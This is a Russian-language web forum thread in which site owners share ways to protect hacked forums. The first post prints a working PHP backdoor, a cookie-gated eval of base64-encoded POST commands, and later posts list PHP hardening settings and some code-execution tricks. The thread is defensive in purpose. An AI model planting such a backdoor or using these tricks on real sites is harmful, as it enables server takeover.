| 
				
					| nikk | Отправлено: 22 декабря 2013 — 21:00   |  
					| 
  
 
  Super Member
 
  
 Покинул форум
 Сообщений всего: 1122
 Дата рег-ции: Нояб. 2009
 Репутация: 25
 
 
 
 
  
 | Создать эту тему   решил я  после того как мои форумы  были  взломаны... Предлагаю в этой  теме  собрать  все известные нам способы защиты наших детищ.
 Начну  я..
 
 Зайдите   к себе  на форум,  в   папки   форум_1,   форум_2, и т.д,    внимательно  просмотрите   свои  папки..  Вполне вероятно, вы   увидите   вот такой примерно файл: 4d370c6a22d6d. php.     В файле   будет  код,  примерно такой:
 
 
 CODE:<?phpif (isset($_COOKIE["adm"])) {
 if (isset($_POST['crc'], $_POST['cmd'])) {
 if (sprintf('%u', crc32($_POST['cmd'])) == $_POST['crc']) {
 eval(gzuncompress(base64_decode($_POST['cmd'])));
 } else
 echo "repeat_cmd";
 }
 }
 ?>
 
 Это значит, Вас   "поимели"!       Это вредоносный   код, удаляйте  безжалостно!
 
 Далее..   чтобы вручную   не лазить,  советую скачать     скрипт Айболит..
 Ссылка:    http://revisium.com/ai/
 там все хорошо расписано, зааливайте    скрипт   в корень,   далее анализируйте   свои   файлы и удаляйте    нечисть,  которую скрипт  обнаружит!
 Я   с помощью  этого скрипта  удалил  просто  неимоверное  количество нечисти!
 
 Теперь,  если кто знает  реальные способы  защиты форумов, пишите плиз здесь,  будем сообща   защищать.
  (Добавление)
 Много говорят   про выставлении  прав на папки и файлы..        У меня изначально  стояли    права  по умолчанию на сервере,   папки 775,  файлы 644,   и тем не менее,   бекдор  мне залили  на форум.. Значит  не так спасают эти права,  или  я не прав?
 Пароль  от Тотал  Командера   менять  регулярно, тоже наверное вещь хорошая,    что и делаю  в последнее  время..
 |  
					|  |  |  
				
					| 1Bot | Отправлено: 23 декабря 2013 — 06:45   |  
					| 
  
 
  Super Member
 
  
 Покинул форум
 Сообщений всего: 773
 Дата рег-ции: Апр. 2009
 Откуда: Днепропетровск
 Репутация: 69
 
 
 
 
  
 | Закрытие возможных путей выполнения залитых на сайт шеллов 
 1) Включение режима Safe Mode в настройках php.ini safe_mode = on.
 Если PHP настроен, как Safe Mode + open_basedir, тогда никакие файлы вне open_basedir не обслуживаются PHP, не стартуют программы, которые находятся вне данной директории.
 Если PHP скомпилирован с опцией --enable-safe-mode, то по умолчанию принимает значение On (включено), иначе - Off (выключено).
 !!! Данная возможность была помечена УСТАРЕВШЕЙ начиная с версии PHP 5.3.0 и была УДАЛЕНА в версии PHP 5.4.0.
 
 
 Функции, ограниченные в безопасном режиме (Отобразить)Функция	Ограниченияdbmopen()	Проверяет, имеют ли файлы/каталоги, с которыми вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт.
 dbase_open()	Проверяет, имеют ли файлы/каталоги, с которыми вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт.
 filepro()	Проверяет, имеют ли файлы/каталоги, с которыми вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт.
 filepro_rowcount()	Проверяет, имеют ли файлы/каталоги, с которыми вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт.
 filepro_retrieve()	Проверяет, имеют ли файлы/каталоги, с которыми вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт.
 ifx_*	sql_safe_mode ограничения (не путать с safe_mode)
 ingres_*	sql_safe_mode ограничения (не путать с safe_mode)
 mysql_*	sql_safe_mode ограничения (не путать с safe_mode)
 pg_lo_import()	Проверяет, имеют ли файлы/каталоги, с которыми вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт.
 posix_mkfifo()	Проверяет, имеет ли каталог, с которым вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт.
 putenv()	Подчиняется настройкам the safe_mode_protected_env_vars и safe_mode_allowed_env_vars. Ознакомьтесь с более подробным описанием функции putenv().
 move_uploaded_file()	Проверяет, имеют ли файлы/каталоги, с которыми вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт.
 chdir()	Проверяет, имеет ли каталог, с которым вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт.
 dl()	Эта функция недоступна в безопасном режиме.
 backtick operator	Эта функция недоступна в безопасном режиме.
 shell_exec() (функция эквивалентна backticks)	Эта функция недоступна в безопасном режиме.
 exec()	Вы можете запускать исполняемые файлы, ограниченные деревом каталогов, указанным в safe_mode_exec_dir. Исходя из практических соображений, использовать .. при указании пути запрещено. Следует заметить, что к аргументу этой функции применяется escapeshellcmd().
 system()	Вы можете запускать исполняемые файлы, ограниченные деревом каталогов, указанным в safe_mode_exec_dir. Исходя из практических соображений, использовать .. при указании пути запрещено. Следует заметить, что к аргументу этой функции применяется escapeshellcmd()
 passthru()	Вы можете запускать исполняемые файлы, ограниченные деревом каталогов, указанным в safe_mode_exec_dir. Исходя из практических соображений, использовать .. при указании пути запрещено. Следует заметить, что к аргументу этой функции применяется escapeshellcmd().
 popen()	Вы можете запускать исполняемые файлы, ограниченные деревом каталогов, указанным в safe_mode_exec_dir. Исходя из практических соображений, использовать .. при указании пути запрещено. Следует заметить, что к аргументу этой функции применяется escapeshellcmd().
 fopen()	Проверяет, имеет ли каталог, с которым вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт.
 mkdir()	Проверяет, имеет ли каталог, с которым вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт.
 rmdir()	Проверяет, имеет ли каталог, с которым вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт.
 rename()	Проверяет, имеют ли файлы/каталоги, с которыми вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт. Проверяет, имеет ли каталог, с которым вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт.
 unlink()	Проверяет, имеют ли файлы/каталоги, с которыми вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт. Проверяет, имеет ли каталог, с которым вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт.
 copy()	Проверяет, имеют ли файлы/каталоги, с которыми вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт. Проверяет, имеет ли каталог, с которым вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт. (для параметров source и target)
 chgrp()	Проверяет, имеют ли файлы/каталоги, с которыми вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт.
 chown()	Проверяет, имеют ли файлы/каталоги, с которыми вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт.
 chmod()	Проверяет, имеют ли файлы/каталоги, с которыми вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт. Кроме того, вы не можете устанавливать UID, SGID и sticky-биты.
 touch()	Проверяет, имеют ли файлы/каталоги, с которыми вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт. Проверяет, имеет ли каталог, с которым вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт.
 symlink()	Проверяет, имеют ли файлы/каталоги, с которыми вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт. Проверяет, имеет ли каталог, с которым вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт. (Замечание: проверка выполняется только для параметра target)
 link()	Проверяет, имеют ли файлы/каталоги, с которыми вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт. Проверяет, имеет ли каталог, с которым вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт. (Замечание: проверка выполняется только для параметра target)
 apache_request_headers()	В безопасном режиме, заголовки, начинающиеся с authorization (независимо от регистра), не возвращаются.
 header()	В безопасном режиме, текущий UID скрипта будет добавлен к realm-части заголовка WWW-Authenticate, если вы его устанавливаете (используется для HTTP-аутентификации).
 переменные PHP_AUTH	 В безопасном режиме, переменные PHP_AUTH_USER, PHP_AUTH_PW и AUTH_TYPE недоступны как элементы массива $_SERVER. Несмотря на это, вы все еще можете использовать переменную REMOTE_USER для идентификации пользователя. (Замечание: актуально только для PHP 4.3.0 и выше)
 highlight_file(), show_source()	 Проверяет, имеют ли файлы/каталоги, с которыми вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт. Проверяет, имеет ли каталог, с которым вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт. (Замечание: актуально только для PHP 4.2.1 и выше)
 parse_ini_file()	 Проверяет, имеют ли файлы/каталоги, с которыми вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт. Проверяет, имеет ли каталог, с которым вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт. (Замечание: актуально только для PHP 4.2.1 и выше)
 set_time_limit()	 Не имеет никакого эффекта, если используется безопасный режим.
 max_execution_time	 Не имеет никакого эффекта, если используется безопасный режим.
 mail()	 В безопасном режиме пятый параметр недоступен. (Замечание: актуально только для PHP 4.2.3 и выше)
 session_start()	 Владелец скрипта должен совпадать с владельцем каталога session.save_path, если используются хранилище по умолчанию files и session.save_handler.
 Все функции работы с файлами и потоками.	 Проверяет, имеют ли файлы/каталоги, с которыми вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт. Проверяет, имеет ли каталог, с которым вы собираетесь работать, такой же UID (владельца), как и выполняемый скрипт. (смотрите также php.ini-опцию safe_mode_include_dir.
 При использовании PHP как модуль Apache пользователь ограничен своей директорией ограничением open_basedir, при использовании PHP как CGI правами пользователя в системе. Если защищенный режим в PHP включать, то с ним возникают проблемы со скриптами, которые хотят писать файлы на диск.
 
 !!! Важно !!! Safe Mode не блокирует функции include(), require(), fopen(), fwrite() и многие другие, не менее полезные для взломщика, который реализует задуманое с помощью остальных функций PHP не прибегая к запуску системных команд, а используя оператор eval().
 
 
 2) Запрет использования опасных функций. Смотрите /etc/php5/*/php.ini (для разных режимов свои) на предмет disable_functions =
 Нельзя запрещать выполнение функций в httpd.conf c помощью disable_functions, эту директиву можно указывать только в php.ini.
 Если функция используется в коде и попала в список disable_functions, то выдаст error в браузер (при включенном выводе ошибок), иначе функция просто вернет false;
 
 !!! Важно!!! Опция disable_functions в php.ini на eval() не влияет, так как это не функция, а конструкция языка php.
 
 
 3) Очень гибкие права доступа к подобным функциям есть в патче для apache suhosin. Можно указать список запрещенных к выполению функции в конфиге конкретного virtualhost с помощью php_admin_value disable_functions.
 
 Можно запретить использование eval()
 suhosin.executor.disable_eval = On
 
 
 Помимо eval() еще есть куча других способов выполнить php код.
 Например:
 1. $newfunc = create_function('', '};phpinfo();//');
 2. preg_replace с модификатором /e
 3. обратные ковычки: `ls -lia`
 4. и куча других фишек...
 
 З.Ы. Лечите болезнь, а не следствия. Как к Вам заливают шеллы? Можно отключить интерпретацию php в папке uploads, или подобной, проверять заливаемые файлы.
 (Отредактировано автором: 23 декабря 2013 — 06:47) |  
					|  |  |  
				
					| 1Bot | Отправлено: 23 декабря 2013 — 14:57   |  
					| 
  
 
  Super Member
 
  
 Покинул форум
 Сообщений всего: 773
 Дата рег-ции: Апр. 2009
 Откуда: Днепропетровск
 Репутация: 69
 
 
 
 
  
 | nikk пишет:1Bot пишет:1) Включение режима Safe Mode в настройках php.ini safe_mode = on.  
прошу  пояснить,  это вообще  где делается? Смотрите файлы /etc/php5/*/php.ini (для разных режимов свои)
 
 
 nikk пишет:1Bot пишет:Можно отключить интерпретацию php в папке uploads, или подобной, проверять заливаемые файлы. 
можно поподробнее? 
 Если сайт как-то взломают, то скрипты (шеллы и т.д) закачают в папку с правами 777 (например в папку с картинками).
 Можно через .htaccess запретить исполнения скриптов в этих папках.
 
 Во все каталоги, доступные для записи, закачиваем (или добавляем строчки к существующему) .htaccess с содержимым:
 
 
 CODE:php_flag engine 0AddType "text/html" .php .cgi .pl .fcgi .fpl .phtml .shtml .php2 .php3 .php4 .php5 .asp .jsp
 
 <Files ~ "\.(php[2-5]?|cgi|pl|fcgi|fpl|phtml|shtml|asp|jsp)$">
 Deny from all
 </Files>
 
 <Files .htaccess>
 order allow,deny
 deny from all
 </Files>
 Этим самым мы отключаем PHP в данном каталоге и заставляем для скриптов закрыть доступ.
 Можно конечно попробовать загрузить и перезаписать сам .htaccess. Поэтому необходимо запретить конкретно у .htaccess права на запись.
 
 CODE:# chmod a-w .htaccess |  
					|  |  |  |